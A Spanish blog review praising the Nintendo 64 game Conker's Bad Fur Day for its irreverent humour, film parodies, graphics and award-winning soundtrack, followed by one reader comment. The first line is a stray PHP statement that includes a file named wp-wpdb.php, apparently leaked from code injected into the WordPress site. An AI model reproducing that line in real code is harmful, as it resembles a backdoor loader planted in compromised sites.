if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); Conker’s Bad Fur Day ¡Grandes Infravalorados! – La Fortaleza de LeChuck

Conker’s Bad Fur Day ¡Grandes Infravalorados!

Cuenta la leyenda que hace mucho, mucho tiempo, hubo una compañía – británica, para más señas – que era capaz de exprimir al máximo la potencia de Nintendo 64 (Sí, hombre, esa, ya sabéis… La de «SIXTY-FOOOOOOUR…»). Dicha compañía era la insigne Rare, creadora de títulos míticos de la época como 007 Goldeneye, Banjo-Kazooie, Jet Force Gemini o Perfect Dark. Entre el despliegue de calidad con el que antaño engrandecían el catálogo de la Gran N, sorprendieron en 2001 lanzando un título orientado «a adolescentes y adultos», protagonizado por una ardilla malhablada, con una mala leche espectacular y tal resaca que provocaría más víctimas que John McLane en la saga Die Hard. ¿Es esta la historia de cómo Rareware se la coló doblada a la normalmente angelical y políticamente correcta Nintendo? Si es así nos alegramos, porque gracias a ello disfrutamos de un auténtico juego que rompió esquemas como es Conker’s Bad Fur Day.

Conker es un plataformas 3D conocido por ser polémico y emplear un humor transgresor y gamberro, poco visto en juegos de Nintendo anteriormente. Sin embargo si sólo hubiera sido por estas cualidades no habría llegado mucho más lejos, a pesar de la gracia que nos pudiera hacer esa puesta en escena tan poco nintendera: Conker’s Bad Fur Day es un juego de culto no exento de calidad técnica, potencia gráfica y jugabilidad de alto nivel. Un juego que, dicho sea de paso, no tuvimos la suerte de ver en su estreno aparecer en España hasta bastante más tarde, gracias a un remake para Xbox y a los siempre presentes emuladores… Pero me estoy adelantando. De hecho tampoco apareció en Japón, lo cual es hasta lógico, probablemente debido a este exceso de celo por parte de Nintendo, cuidando la imagen de marca para todos los públicos que siempre han predicado.
 
El protagonista, como decimos, es todo un personaje. La historia empieza con una escena que parodia a La Naranja Mecánica -no será la única referencia a una película que veamos-, nuestra ardilla sentada en un trono, con una corona con el símbolo del dolar puesta, un vaso de leche en la mano y rodeada por algunos de los personajes que más tarde iremos viendo durante el juego. En esta situación, Conker, nos comenta que nos va a a narrar una larga historia, y al momento empezamos el juego, tomando el control de la ardilla tras una dura noche de borrachera, haciendo eses entre la taja y la resaca. Nuestra novia adicta al fitness, Berry, está harta de nosotros y de nuestra vida crápula, y ha decidido salir a buscar nuevos «amigos». Hemos amanecido sin saber dónde estamos, con la boca pastosa y tenemos que volver a casa antes de que perdamos definitivamente a Berry. Para colmo, un espantapájaros chalado es nuestro guía durante el tutorial, y esto sólo es el principio… Mientras tanto, el malvado Rey Pantera envía a sus secuaces para perseguirnos, ya que tenemos el tamaño justo para calzar una mesa que cojea y nos pretende utilizar de pata de la misma (no me preguntéis qué se tomaron los guionistas, a mí también me gustaría saberlo).

Los guiños son constantes y muchos parodian escenas de películas

El argumento en realidad es una mera excusa para ponernos en situaciones surrealistas durante nuestro viaje de vuelta al hogar. De la inenarrable batalla contra un excremento gigantesco cantante de ópera nos hemos hecho eco más de una vez por aquí, pero hay mucho más: Veremos un desembarco de guerra basado en la película Salvad al Soldado Ryan, a un enemigo de fase basado en el Drácula de Coppola, una lucha contra llamas enfurecidas (de fuego, no el animal) a las que venceremos orinándoles encima, ayudaremos a zánganos a «polinizar» flores de sugerentes (y grandes) curvas, y una fase genial en la que recrearemos a Neo en Matrix, entre otras idas de olla. Además, por el camino surgirá la oportunidad de ganar dinero, algo que le encanta a nuestro avaricioso y egocéntrico protagonista. Por estas y otras situaciones, el ‘+18’ del título es justificable, y en cierta manera ayuda el tener una edad, para poder entender muchas de las referencias con las que han poblado los desarrolladores un juego tan gamberro y único como éste.

«¿Pastilla azul o roja? Para mí que alguien se las ha tomado todas…»

 Gráficamente el juego es soberbio, se nota que es de la época en la que Rare estaba ‘on fire’ y es de los más vistosos del catálogo de Nintendo 64. El remake de Xbox también luce muy bien, el juego es exactamente el mismo, pero le hicieron un buen lavado de cara y mejoraron los efectos de luces para adecuarlo a la nueva generación. Los escenarios son numerosos, perfectamente definidos y diferenciados unos de otros. Los personajes tienen un diseño y un grado de detalle muy elevado, realmente apenas se notan los polígonos en la versión de N64. En definitiva, técnicamente es uno de los exponentes de la mejor Rare y uno de los techos de la 64, y sin necesidad del famoso «Expansion pack» de la consola.

En el apartado sonoro Conker no se queda corto. Evidentemente, las voces son en inglés (recordemos que en N64 ni siquiera salió en España), pero la voz original de la ardilla se hace querer y le queda como anillo al dedo; difícilmente el doblaje podría haberlo igualado. El resto de voces rayan a un buen nivel también, con un tono muy de dibujos animados, aunque luego lo que suelten por su boca no sea muy infantil que digamos. Por otro lado, este juego cuenta con una de las mejores bandas sonoras escritas jamás para un videojuego. Su compositor, Robin Beanland, y el ingeniero de sonido, Mike Currington, recibieron el premio BAFTA (Academia Británica para las Artes del Cine y la Televisión) por el juego con mejor sonido de 2001. Todas las canciones se adaptan perfectamente a la acción, por muy disparatada que sea. Canciones como la mencionada ópera del truño gigante, el pasaje que suena cuando recorremos mundo [enlazado justo bajo estas líneas], o el genial ritmo ebrio que suena cuando estamos alcohólicamente perjudicados se quedan en la memoria para siempre, y se hace imposible no tararearlas mucho tiempo después. 
La jugabilidad es exquisita y muy fluida, al estilo de lo que ya habíamos visto en Banjo & Kazooie e incluso un poco por encima de su nivel. Las animaciones son excelentes y el control responde perfectamente. La cámara no desentona con el conjunto, aunque en ocasiones – y como suele pasar en muchos plataformas – nos deja vendidos en espacios cerrados, sin ver nada. Conker no es un juego difícil, aunque tampoco es un paseo por el bosque. La dificultad está bien ajustada, e incluso hay momentos que son un reto en los que tendremos que ser especialmente hábiles manejando al personaje.
En total el juego está dividido en 11 capítulos, con misiones que pueden estar relacionadas entre ellos. Algunas misiones requieren una cantidad enorme de dinero para acceder a ellas, pero podremos mientras realizar otras tareas e ir repitiéndolas para poder ir desbloqueando camino. Misiones por cierto tremendamente variadas y divertidas; difícilmente nos aburriremos gracias a la diversidad y originalidad de la que Conker hace gala.

«Esto es lo que yo llamo un juego de plataformas» 
Conker’s Bad Fur Day es algo más que un guión irreverente y que invade el cuarto muro en repetidas ocasiones buscando el guiño de complicidad y la carcajada del jugador. No es sólo un compendio de gags absurdos, parodias, mala leche, tacos, humor negro y violencia gratuita. Conker es el ejemplo de lo que era capaz de realizar Rare en su mejor época, incluso en un proyecto tan descerebrado y difícil de vender a una compañía como éste (logro doble o triple al tratarse de Nintendo).

Simplemente, es uno de los mejores títulos de Nintendo 64 y una muesca imprescindible en la lista de cualquier jugón que se precie. Y es único, porque no tuvo precedentes claros, ni tampoco, por extraño que parezca, imitadores posteriores (o al menos que gozaran de éxito). Todo el mundo – que tenga más de 18 años – debería probarlo. Por desgracia, los videojuegos basados en el humor, aunque sea zafio y grosero, escasean. Y con Conker el cachondeo está asegurado, así que si aún no habéis vivido un auténtico «mal día» con esta ardilla y tenéis la oportunidad de hacerlo, no os privéis. No os decepcionará. 

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Categorizado como Retro

Por LeChuck

Desde las profundidades del Caribe vigilo los mares.

5 comentarios

  1. me leeis la mente o algo , justo esta tarde estaba con una rarefiebre y jugando a sus titulos de la 64 , y claro esta jugue al conker´s en el emu de la 64. Gran articulo a este gran juego , un juego d euna rare que tenia las ideas claras , que queria estar un paso adelante respecto al resto de compañias. Echare de menos esta vieja rare

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